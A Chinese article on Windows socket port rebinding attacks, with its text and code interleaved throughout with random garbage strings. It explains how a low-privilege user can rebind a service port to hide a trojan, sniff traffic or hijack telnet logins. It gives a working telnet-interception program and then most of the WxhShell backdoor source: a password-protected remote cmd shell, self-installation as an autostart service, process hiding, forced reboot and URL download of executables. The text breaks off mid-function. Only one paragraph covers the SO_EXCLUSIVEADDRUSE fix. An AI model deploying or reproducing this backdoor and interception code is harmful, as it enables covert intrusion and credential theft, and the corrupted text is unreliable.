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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n6*;
~h5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BCHI@a 1 z[blNs& saddr.sin_family = AF_INET; tQ4{:WPG y] ~X{v saddr.sin_addr.s_addr = htonl(INADDR_ANY); xX])IZD i4
tW8Il bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5?|PC. .T*7nw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $w<~W1\: }Z\+Qc<< 这意味着什么?意味着可以进行如下的攻击: QLTE`t5w3' ZP%Bu2xd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {c$%3iQq B Zw#ACU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _d<\@Tkw #60<$HO:Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4>@-1nt} KL*UU,qU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k?=V?JWY Iyvl6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SHPZXJ{ \'N|1!EO|t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bb/aeLv 6d/b*,4[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Th*mm3D6 %n#^#: #include jfrUOl'l #include 'w7{8^Z2 #include {EupB? #include 8|,-P=%t DWORD WINAPI ClientThread(LPVOID lpParam); G,i%:my7 int main() gM3gc; { LvS3c9|Aj WORD wVersionRequested; =;xlmndT, DWORD ret; ;
bDFrG WSADATA wsaData; /7zy5 BOOL val; %25_ SOCKADDR_IN saddr; ) uyh SOCKADDR_IN scaddr; y/2U:H int err; 'lNl><e- SOCKET s; 7f
td2lv SOCKET sc; O^gq\X4} int caddsize; PZl(S}VY HANDLE mt; $RSVN? DWORD tid; z*>CP wVersionRequested = MAKEWORD( 2, 2 ); cWM|COXL+ err = WSAStartup( wVersionRequested, &wsaData ); I@q>ES!1H if ( err != 0 ) { `0Q:d' printf("error!WSAStartup failed!\n"); 7+u%]D! return -1; ;7<a0HZ5! } j|(bDa4\ saddr.sin_family = AF_INET; ArU>./)Q BmUzsfD //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xc5[d`] :<IW' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ikRIL2Y saddr.sin_port = htons(23); |,&!Q$<un if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RN:#+S(8 { *id|za|:k printf("error!socket failed!\n"); {UZli[W1 return -1; h?YjG^'9 } TJ5{Ee GV val = TRUE; A?|cJ"N //SO_REUSEADDR选项就是可以实现端口重绑定的 :7>Si% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1y"37;x { cuk2\> Xl printf("error!setsockopt failed!\n"); Nd!2 @?V4 return -1; "x$S%:p } .Na>BR\F
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NV-9C$<n2! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /9w}[y*E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |H_)u PewPl0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X7c*T / { Yhw* `"X ret=GetLastError(); khv! \^&DD printf("error!bind failed!\n"); X-{:.9 return -1; }\DQxHG } mQs'2Y6Oa listen(s,2); JcVq%~{M while(1) HIa$0g0J { Em"X5>;4 caddsize = sizeof(scaddr); '/
&" //接受连接请求 :M[E-j; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dju&Ku
if(sc!=INVALID_SOCKET) {M~!?#<K { 8:xQPd?3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o"1us75P if(mt==NULL) }lb.3fqiA { #Aan v printf("Thread Creat Failed!\n"); 0~1P&Qs<
break; VDmd+bvJV } c\b>4 &n } !Z'm@,+ CloseHandle(mt); +li^0+3-' } (
L6`_) closesocket(s); :A{-^qd( WSACleanup(); .CpF0 return 0; 8c|IGC } e #OU {2X DWORD WINAPI ClientThread(LPVOID lpParam) >PJ-Z~O'
{ _/=ZkI5 SOCKET ss = (SOCKET)lpParam; N_DgnZ7* SOCKET sc; 7f$Lb,\y unsigned char buf[4096]; 5~X%*_[], SOCKADDR_IN saddr; d#tUG~jc long num; M:SxAo-D2 DWORD val; '} kq@ DWORD ret; 3U`.:w` //如果是隐藏端口应用的话,可以在此处加一些判断 VV4_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >lW*%{|b$^ saddr.sin_family = AF_INET; J@TM>R saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3*TS
4xX saddr.sin_port = htons(23); (~GFd7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -ur]k]R { ~Iu09t|a printf("error!socket failed!\n"); D/Wuan?yPN return -1; {L eEnh- }
k
WtUj val = 100; >dl!Ep if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N9ufTlq
s { w8i!Qi#y5D ret = GetLastError(); !!86Sv return -1; }a1UOScO0 } ^hgAgP{{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7GUJ&U)J { ?:nZv<
x ret = GetLastError(); !T~d5^l! return -1; Nw2 bn } $OD5t5eTsM if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ezvaAhd{ { h,+=h;! printf("error!socket connect failed!\n"); z>:7}=H0 closesocket(sc); <X |h* closesocket(ss); 3$cF)5V f return -1; -DnK)u\@ } hrD6r=JT<~ while(1) OQQ9R?Ll{ { k#(cZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dL`
+^E> //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^IpiNY/%Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1#<E]<='t num = recv(ss,buf,4096,0); }(K6 YL if(num>0) bZXNo send(sc,buf,num,0); /<$"c"UQ else if(num==0) n:D*r$ C|p break; ,Tl5@RN num = recv(sc,buf,4096,0); .[fz x` if(num>0) 3>" h*U# send(ss,buf,num,0); Snu;5:R else if(num==0) sJ/e=1* break; }j1Zk4}[x } h12wk2@P/] closesocket(ss); U08?*{ closesocket(sc); vWH>k+9&X return 0 ; ~a%hRJg } RKkI/ Z0 NR&9:? `W n5
.V ========================================================== J#DcT@ HJR<d&l;p 下边附上一个代码,,WXhSHELL tJPRR_nZv )X;cS}
yp ========================================================== jPNfLwVkl: N08n/u&cr, #include "stdafx.h" P{!:pxu[ fNPj8\#V, #include <stdio.h> EiN)TB^] #include <string.h> wWU_?Dr_~ #include <windows.h> znO00qX #include <winsock2.h> N-9gfG #include <winsvc.h> nln6:^w #include <urlmon.h> S "Pj1 wPJRp]FA #pragma comment (lib, "Ws2_32.lib") Z3>xpw G #pragma comment (lib, "urlmon.lib") ~+egu89'TU vqOLSE"t*O #define MAX_USER 100 // 最大客户端连接数 ~!F4JRf #define BUF_SOCK 200 // sock buffer 5I1J)K; #define KEY_BUFF 255 // 输入 buffer [?@wCY4= B kxhF #define REBOOT 0 // 重启 vGwD~R #define SHUTDOWN 1 // 关机 #L:P
R> "q^'5p] #define DEF_PORT 5000 // 监听端口 &vX!7Y [=6~"!P} #define REG_LEN 16 // 注册表键长度 y32++b! #define SVC_LEN 80 // NT服务名长度 MW~B[%/ 9[{>JRm. // 从dll定义API aijGz< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LIC~Kehi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G5#}Ed4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )?&kQ^@v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y;F
R"~^ ?s)sPM? // wxhshell配置信息 ,Kf8T9z` struct WSCFG { -wQ^oOJ int ws_port; // 监听端口 6//FZ:q char ws_passstr[REG_LEN]; // 口令 7E3SvC|M int ws_autoins; // 安装标记, 1=yes 0=no qf`xH"$ char ws_regname[REG_LEN]; // 注册表键名 ` u\z!x' char ws_svcname[REG_LEN]; // 服务名 YOV4)P" char ws_svcdisp[SVC_LEN]; // 服务显示名 w<e;rKr char ws_svcdesc[SVC_LEN]; // 服务描述信息 C!{AnWf char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NS4'IR=;E! int ws_downexe; // 下载执行标记, 1=yes 0=no r`R~{;oT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2HGD{;6>v{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g~c|~u(W ~]W[ {3 ; }; O| J`~Lk u] U)d$| // default Wxhshell configuration RC{Z)M{~ struct WSCFG wscfg={DEF_PORT, aXbNDj
][ "xuhuanlingzhe", B UQn+;be 1, W0MnGzZ "Wxhshell", 04guud } "Wxhshell", EKeh>3;? "WxhShell Service", (vAv^A*i} "Wrsky Windows CmdShell Service", |1+(Ny.%k "Please Input Your Password: ", r7"A u" 1, dH2]ZE0V " http://www.wrsky.com/wxhshell.exe", gO:Z6}3vM "Wxhshell.exe" 3$N %iE6 }; ^jha:d i<wU.JX&h // 消息定义模块 B >u,) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D<bU~Gd,P char *msg_ws_prompt="\n\r? for help\n\r#>"; .D,?u"fk| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; hK39_A- char *msg_ws_ext="\n\rExit."; ;eW'}&|LV char *msg_ws_end="\n\rQuit."; =Etwa char *msg_ws_boot="\n\rReboot..."; |5~wwL@LW7 char *msg_ws_poff="\n\rShutdown..."; f']sU/c= char *msg_ws_down="\n\rSave to "; ri<'-w i ?D(FNd char *msg_ws_err="\n\rErr!"; }or2 $\>m char *msg_ws_ok="\n\rOK!"; L+L"$ `Ixs7{&jU char ExeFile[MAX_PATH]; J7ktfyQ0W int nUser = 0; `xX4!^0Hm HANDLE handles[MAX_USER]; Xvu) int OsIsNt; 3aO;@GNJ $35,\ZO> SERVICE_STATUS serviceStatus; VXkAFgO SERVICE_STATUS_HANDLE hServiceStatusHandle; KIKq9 * A3"1D // 函数声明 umm \r&]A int Install(void); *"ykTqa
int Uninstall(void); kQwm"Z int DownloadFile(char *sURL, SOCKET wsh); +2EHmuJ; int Boot(int flag); y)p$_.YFF void HideProc(void); Bn1L?>G int GetOsVer(void); 2~M;L&9- int Wxhshell(SOCKET wsl); eA1k)gjE void TalkWithClient(void *cs); 8K.s@< int CmdShell(SOCKET sock); oE!hF }O int StartFromService(void); }0BL0N`_ int StartWxhshell(LPSTR lpCmdLine); cB ab2/ 8lOZIbwS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ..jq[(;N VOID WINAPI NTServiceHandler( DWORD fdwControl ); C!7U<rI @1<omsl // 数据结构和表定义 #.)xm(Ys SERVICE_TABLE_ENTRY DispatchTable[] = TwM1M["3 { ,b6kTQq {wscfg.ws_svcname, NTServiceMain}, P?q
G {NULL, NULL} {5QosC+o6Q }; H}h~~7E 0
OAqA?Z // 自我安装 M)"]$TM int Install(void) Ql~#((K { _\,rX\ char svExeFile[MAX_PATH]; ^91sl5c8yD HKEY key; 5ys#L&q'Z strcpy(svExeFile,ExeFile); wTTTrk iN<(O7B; // 如果是win9x系统,修改注册表设为自启动 G-\<5]k] if(!OsIsNt) { ?eL='>Ne if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pXPqDA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s?^,iQ+tp RegCloseKey(key); m\6SG' X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =$b-xsmeG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
09 RegCloseKey(key); @A
[)hk&(R return 0; M5']sdR(l } /rIm7FW) } -l-AToO4 } =<[7J]% else { t/JOERw ATMc`z:5T // 如果是NT以上系统,安装为系统服务 jOBY&W0r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hz<|W5 if (schSCManager!=0) !~K=#"T { \R8 6;9ov SC_HANDLE schService = CreateService uQ:Qb| ( 6oj4Rg+( schSCManager, I:F'S# wscfg.ws_svcname, EvwbhvA( wscfg.ws_svcdisp, A#Xj]^-* SERVICE_ALL_ACCESS, 4id3P{aU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `GvA241 SERVICE_AUTO_START, tCWJSi`IJ SERVICE_ERROR_NORMAL, <^#P6 svExeFile, cwu$TP A> NULL, 4-y6MH NULL, RI(=HzB NULL, 7^B3lC) NULL, `0yb?Nk `: NULL `Uzs+k-] ); rW:iBq if (schService!=0) U:qF/%w { ?N4A9W9 CloseServiceHandle(schService); ]dd[WHA CloseServiceHandle(schSCManager);
LsQ s:O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UUl*f!&
o strcat(svExeFile,wscfg.ws_svcname); jEZ
" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &nQRa?3,
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mYjf5 RegCloseKey(key); s,84*6u return 0; 4$%`Qh>yA } 65lOX$*{- } pz$_W CloseServiceHandle(schSCManager); c`-YIz)W } pAENXC\, } mH'\:oN Qn*6D return 1; G-2EQ. } v-ThdE$G#
^[en3aQ // 自我卸载 6/|U int Uninstall(void) Y.E?;iS { wOjv[@d HKEY key; DWuRJ mDZ=Due1 if(!OsIsNt) { (Ar?QwP9> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Y% :
3 RegDeleteValue(key,wscfg.ws_regname); .SG0}8gW RegCloseKey(key); #xlZU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /[0F6 RegDeleteValue(key,wscfg.ws_regname); 8,=G1c RegCloseKey(key); *0O<bm return 0; E\w+kAAf } fzl=d_ } 3KtAK9PT } pNuqT* else { 77``8, 6!Qknk$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AQ-mE9>P if (schSCManager!=0) ^ b@!dS { ?F1wh2oq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "s% 686Vz if (schService!=0) )eECOfmnZ { 0X.TF if(DeleteService(schService)!=0) { +hpSxdAz4 CloseServiceHandle(schService); 0"TgLd CloseServiceHandle(schSCManager); Y7-*2"! return 0; NP "ylMr7P } 6?O}Q7G CloseServiceHandle(schService); L4~
W/6A } $cq!RgRn CloseServiceHandle(schSCManager); 7iP5T } ?C}sR: K/ } ^ZR8s^X `y'aH
'EEd return 1; ):S!Nl } 2pz4rc $1~c_<DN // 从指定url下载文件 uw_H:-J int DownloadFile(char *sURL, SOCKET wsh) =w6}\ 'X { L/)B}8m\ HRESULT hr; *y{+W char seps[]= "/"; V+46R
] char *token; `6P?G|' char *file; J8J!#j. char myURL[MAX_PATH]; w3d34*0$ char myFILE[MAX_PATH]; ^eobp.U YN/u9[=` strcpy(myURL,sURL); C*a,<` token=strtok(myURL,seps); `T=1<Tw c while(token!=NULL) $}db /hY* { 9T$u+GX' file=token; V#NtBreN token=strtok(NULL,seps); ER_ 3' } b )Tl* |e:rYLxm: GetCurrentDirectory(MAX_PATH,myFILE); Y_+
SA|s strcat(myFILE, "\\"); g#}tm< strcat(myFILE, file); :b5XKv^ send(wsh,myFILE,strlen(myFILE),0); W]zwghxH send(wsh,"...",3,0); .ots?Ns hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2Q}7fht if(hr==S_OK) z#RuwB+ return 0; 2qlIy else {a.
<` return 1; {gw[%[ZM \TZ|S,FS } bH,M,xIL2 -8/ JP
// 系统电源模块 rfc|`*m}0 int Boot(int flag) K>$qun?5 { lQWBCJ8y HANDLE hToken; u(AA`S" TOKEN_PRIVILEGES tkp;
^iuo^2+ D&-vq,c if(OsIsNt) { i+I0k~wY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /~tP7<7A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :s]\k%" tkp.PrivilegeCount = 1; **n y! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )%t7\1)B3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :WO{x g if(flag==REBOOT) { W/=7jM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~@@
Z|w return 0; _CL{IY } m d_g}N(C else { }1Z6e[K? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tJAnuhX return 0; L ?Cjo4xS } l/QhD?)9 } &y\igX1 else { (Igu:= if(flag==REBOOT) { #n#HzbT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >x*)GPDa return 0; FllX za) } ZL,8,;] else { 3Soy3Xp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y]
y9'5_ return 0; 'gCZ'edM } ~5T$8^K } ']h
IfOD"r sjn:O' return 1; a5 bPEJ=I } Cdmy.gx^ (2tH"I // win9x进程隐藏模块 },s_nJR:8 void HideProc(void) [[X+P 0`r { %mu>-h ac '-.wFB; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zIm-X,~I$ if ( hKernel != NULL ) pZjpc#*9N { =9<$eLE0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \?dTH:v/E ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nd.hHQ FreeLibrary(hKernel); 7 OWsHlU } #
M>wH`Q# +|0 t return; >:$"a } x;(g lC4PKmno // 获取操作系统版本 *Dc@CmBr int GetOsVer(void) YD9!=a$ { X.eB ;w/} OSVERSIONINFO winfo; e5 3,Rqi)@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TRy^hr8~ GetVersionEx(&winfo); Fpf><Rn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G A EZY return 1; 7"a4/e;^ else #Wk5E2t return 0; z37Z%^ } -;/
Y \%4|t,en // 客户端句柄模块 h$/JGm5uDb int Wxhshell(SOCKET wsl) H?{MRe { a'A s SOCKET wsh; JnHNkCaU struct sockaddr_in client; c=aO5(i0 DWORD myID; xl,ryc3J m1V- %kUI while(nUser<MAX_USER) Tyd
h9I { 6]ZO'Nwo int nSize=sizeof(client); JqSr[q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0
u2Ny&6w if(wsh==INVALID_SOCKET) return 1; 9(OAKUQ ZB0+GG\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b5S7{"<V if(handles[nUser]==0) =f `=@] closesocket(wsh); u(Rk'7k else 'kEG.Oq7 nUser++; bvp)r[8h } bl$j%gI%, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Vap7.6;_ Z'ao[CG return 0; 7_%2xewV| } .)t(:)*b {2EMz|&8 // 关闭 socket o3\,gzJ void CloseIt(SOCKET wsh) 9rS,? { z<h|#@\ closesocket(wsh); /GN4I!LA nUser--; +ouY ExitThread(0); ~#4~_d.=L } Gk 6fO hIo0S8MOj$ // 客户端请求句柄 }Aw47;5q; void TalkWithClient(void *cs) &=NJ { [S) G$JW }<&d]N SOCKET wsh=(SOCKET)cs; BfVBywty char pwd[SVC_LEN]; O]bKNA.5 char cmd[KEY_BUFF]; f:XfAH3R{ char chr[1]; 5zVQ;;9 int i,j; .l=p[BI j/'
g$ while (nUser < MAX_USER) { s>r ^r%uK QoWR@u6a if(wscfg.ws_passstr) { Y$+QNi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ji@k(x27q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Hl<,(vn //ZeroMemory(pwd,KEY_BUFF); o?y"]RCM i=0; :~erh}~ps while(i<SVC_LEN) { gCL{Cw <r3Jf}%tT // 设置超时 W #47Cz fd_set FdRead; MHFaSl struct timeval TimeOut; 3sb 5E]P FD_ZERO(&FdRead); vzcz<i ) FD_SET(wsh,&FdRead); l1DI*0@ TimeOut.tv_sec=8; J?,?fqb TimeOut.tv_usec=0; k:mlt: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]LVnt-q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z)5klg$c .jaZ|nN8` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >3!DOv pwd =chr[0]; LyV#j>gD if(chr[0]==0xd || chr[0]==0xa) { *F|+2?a:$ pwd=0; RAwk7F3qn break; nzWQQra|? } NnP.k7m) i++; \imp7}N } phmVkV2a;# P#v^"}.Wd // 如果是非法用户,关闭 socket "f<#.}8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =1IEpxh% } ?yf_Dt =E1tgrW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {KsVK4\r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QY6O(= Yw1Y-M while(1) { @7 -D7
WAv@F[ ZeroMemory(cmd,KEY_BUFF); ?Nu#]u- NZfd_? 3 // 自动支持客户端 telnet标准 'QR4~`6I j=0; ET3,9+Gj while(j<KEY_BUFF) { =EWD
|< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /cYk+c
cmd[j]=chr[0]; F@EZ;[ if(chr[0]==0xa || chr[0]==0xd) { K k`<f d cmd[j]=0; G>JxIrN0 break; J+iX,X } z1FL8= j++; ]| z")gOE } 61kO1,Uz* y}Cj#I+a // 下载文件 0f{IE@-b if(strstr(cmd,"http://")) { C[g&F0 6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); soDfi-2o3 if(DownloadFile(cmd,wsh)) Yx!n*+ :J send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<,"Hsh^CR else QU,?}w'?d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %uW< } R@&?i=gk else { h~:H?pj3g h~ZNHSP: switch(cmd[0]) { sI$:V7/! bje'Oolc // 帮助 [:B W+6 case '?': { kHZKj!!R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); so'eZ"A: break; TZkTz
P[ } v3Eo@,- // 安装 ?nY/, q& case 'i': { . rRc if(Install()) H&9wSG` send(wsh,msg_ws_err,strlen(msg_ws_err),0); m8p4U-*j else h|)2'07 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9z5z break; jD<9=B(g } >[hrJn[ // 卸载 Z"+(LO! case 'r': { u"eZa!# if(Uninstall()) #i6[4X? send(wsh,msg_ws_err,strlen(msg_ws_err),0); R+C+$?4NG else %uF:) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); POkXd^pI break; :K?iNZqWN6 } S`fu+^cv // 显示 wxhshell 所在路径 D=<t;+| case 'p': { qgh]@JJh char svExeFile[MAX_PATH]; dnk1Mu< strcpy(svExeFile,"\n\r"); uLF\K+cz strcat(svExeFile,ExeFile); Af$0 o=". send(wsh,svExeFile,strlen(svExeFile),0); ?! !;XW break; x>'?IJZ } /\Jc:v#Q // 重启 ?NQD# case 'b': { 6CCZda@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +HYN$> if(Boot(REBOOT)) N <ja6Ac send(wsh,msg_ws_err,strlen(msg_ws_err),0); iFY]0@yt else { H)-L%l|9 closesocket(wsh); (gFQK[ ExitThread(0); ;H`=):U } TZ)(ZKX*R break; l@(t^68OD } Z(#XFXd // 关机 /%c+
eL}l case 'd': { <1v{[F_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'Wd3`4V$ if(Boot(SHUTDOWN)) ikeJDKSG send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?(nwj~ s` else { +
?[ ACZF closesocket(wsh); T
"ZQPLg ExitThread(0); @DRfNJ} } \3,$YlG break; % jYQ } \;4L~_2$q // 获取shell -<u-
+CbuT case 's': { Z1E`I89< CmdShell(wsh); Q3'(f9
x closesocket(wsh); ] `b<" ExitThread(0); [J(@$Qix break; o%y+Y;|?J } bL6L-S // 退出 ufHuI* case 'x': { 6yV5Yjs send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =P@M&Yy' CloseIt(wsh); ";%e~
= break; :T8u?@. } hlYS=cgY= // 离开 Ih9O Rp7 case 'q': { rcD.P?" send(wsh,msg_ws_end,strlen(msg_ws_end),0); eA;j/&qH closesocket(wsh); iPR!JX
_ WSACleanup(); :Q0?ub] exit(1); (Q*2dd> break; A?%XO
% } TW;|G'}$ } `Pz!SJ| } 5pN08+ Off: ~ // 提示信息 E1mI Xd;. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BZnp
#}f } N>uZ t2 } ^H@!)+
= P"[ifsp return; 7N-CtQnv } *)}Ap4[ =N[V{2}q // shell模块句柄 (9'G int CmdShell(SOCKET sock) o}j_eHl{
{ 'Kt4O9=p STARTUPINFO si; ePIly)=X ZeroMemory(&si,sizeof(si)); 9g<_JcN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,_e/a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J7&.>y1% PROCESS_INFORMATION ProcessInfo; o{YW char cmdline[]="cmd"; ~ ]m@k'n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dd
@COP? return 0; +w_MSj#P } J"a2
@S& @5dBb+0J // 自身启动模式 &D&5UdN
x int StartFromService(void) PG-cu$\?? { Y_aP:+ typedef struct w2M
IY_N? { \!' {-J DWORD ExitStatus; q^T&A[hMPx DWORD PebBaseAddress; P"h,[{Y*> DWORD AffinityMask; 3>:zo:; DWORD BasePriority; 'w |s*5 ULONG UniqueProcessId; .aAw7LW ULONG InheritedFromUniqueProcessId; "=v J} } PROCESS_BASIC_INFORMATION; <W^XSk =_H*fhXS PROCNTQSIP NtQueryInformationProcess; %yS`C"ZQ) [h2p8i'o static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; " N`V*0h static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %3@RZe >k&lGF<nl HANDLE hProcess; :Z7"c`6L!~ PROCESS_BASIC_INFORMATION pbi; 2C
